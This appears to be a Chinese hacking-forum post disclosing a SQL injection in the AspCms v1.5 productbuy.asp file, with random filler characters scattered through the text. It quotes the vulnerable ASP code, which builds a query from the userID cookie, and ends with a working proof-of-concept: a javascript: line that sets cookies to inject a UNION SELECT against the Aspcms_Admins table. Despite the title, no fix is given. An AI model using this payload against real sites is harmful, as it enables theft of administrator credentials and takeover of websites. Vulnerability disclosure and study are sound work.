AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
  J1 {' @: ~) _, U! j也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：
4 R  I% Y$ w# {' _  Q; d
4 D3 h3 q' F3 E; m4 Z<%

* B- @7 t) ^& }0 L3 H& M6 F; V8 Aif action = "buy" then

' n0 V" f4 @! Y3 x        addOrder()
. M* n: [) A/ [0 P; x  w, ~
% j8 i" k9 o3 _+ l0 melse
  ?+ d/ [6 J3 W" G4 r9 G
* i! L& v, ~# N  x+ V        echoContent()
, ?- u1 I: e' C% ^
1 F- f' i+ a: f# L# l7 z& Vend if
! L  j# D" K& K% P, p: s( L


6 q7 r  {- T6 }' N……略过
1 Z; Q$ N% ~8 R5 d4 n, U% l
% ]% e( I, V9 d9 W3 \0 z: i2 T

& y, V+ ?0 U$ q1 ?Sub echoContent()

        dim id
) W6 K# d9 G3 @5 p  i2 d8 V0 Z
        id=getForm("id","get")

, s2 U1 o5 @, d7 \, h. G        

* \: g. P) n& A        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
- E( A  j  c% _& @; \" ]. h# I
2 m  j* V7 Y2 _8 h3 ~4 E7 {        

/ b2 `! I% r$ ~: U3 Q        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
0 x, B) y5 N3 [2 N: I' n
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
6 x8 N5 X/ V' a6 m3 V0 p
" f' ]! Q! B5 e3 T! L        Dim templatePath,tempStr

        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
" F/ F5 u  N, C$ b, x
, z; m* u  e$ I( H
* C. i7 D/ [! i, t) D3 P2 u0 m, O
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
9 l% e" o2 D+ Y( q
% W4 I% j* c0 T1 s7 y        selectproduct=rsObj(0)

& Q- x$ c+ O0 Q        
# N6 X' ~) q; I9 ]. N
2 e# I9 V* X( A- w' D        Dim linkman,gender,phone,mobile,email,qq,address,postcode
  g4 }' g8 f5 m& v5 x$ p) V9 \
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

+ t8 e- V7 g- a( @; _* f        if rCookie("loginstatus")=1 then  

                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

                linkman=rsObj("truename")
( i  p6 `  d; G2 r8 ^3 R/ Y
+ n# q* x5 E" i+ M! ^                gender=rsObj("gender")
; }8 [" j" S6 d( |
                phone=rsObj("phone")

4 K" D) I8 W- j* C4 f) ]                mobile=rsObj("mobile")

/ |5 t0 I( O# T                email=rsObj("email")
5 R/ \5 n5 y) _* n. y" ]
3 Y7 N, ~& q7 v3 L                qq=rsObj("qq")

                address=rsObj("address")
, u0 n% C1 V0 v) F" Q6 s5 E
                postcode=rsObj("postcode")

& r/ g) j+ Q) O4 r; I$ e        else
- c) u2 r, u/ q- P" G! f. ]
; C- P/ b. ?2 O, w; c$ @                gender=1
: Z+ p- N- ?; }' o9 _
        end if

4 G; h" g3 }2 I6 M) j        rsObj.close()

. G+ t5 z$ P! \               

7 d" s. _6 r2 H        with templateObj

                .content=loadFile(templatePath)        
( S) J/ f3 Y0 {% G+ v
                .parseHtml()
* B2 l. K% k' U0 [( S6 p
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
: N8 F3 E1 i6 Z1 Q6 i) H
! W0 q6 M; f4 ~                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
9 n: O8 {2 A' s# _# A  L3 O
/ W* ^. M! u% @/ S# e                .content=replaceStr(.content,"[aspcms:gender]",gender)               

                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        

5 s5 M# ]1 w; |+ e- X6 Y                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
8 a% t. K! {' a% i3 r0 j5 ^
                .content=replaceStr(.content,"[aspcms:address]",address)                        

                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

                .parseCommon()                 

' X, U  S4 _9 M) W                echo .content

0 Q8 G3 e  b$ c/ H+ G4 e        end with

        set templateobj =nothing : terminateAllObjects
. C" ]; V4 j7 T
End Sub
4 e$ |: Y3 r& \$ ]! I( M漏洞很明显，没啥好说的
poc：

4 k% S; h+ n0 K  D6 }- g+ P8 @javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
. `3 {( Y" [+ e9 ], B7 a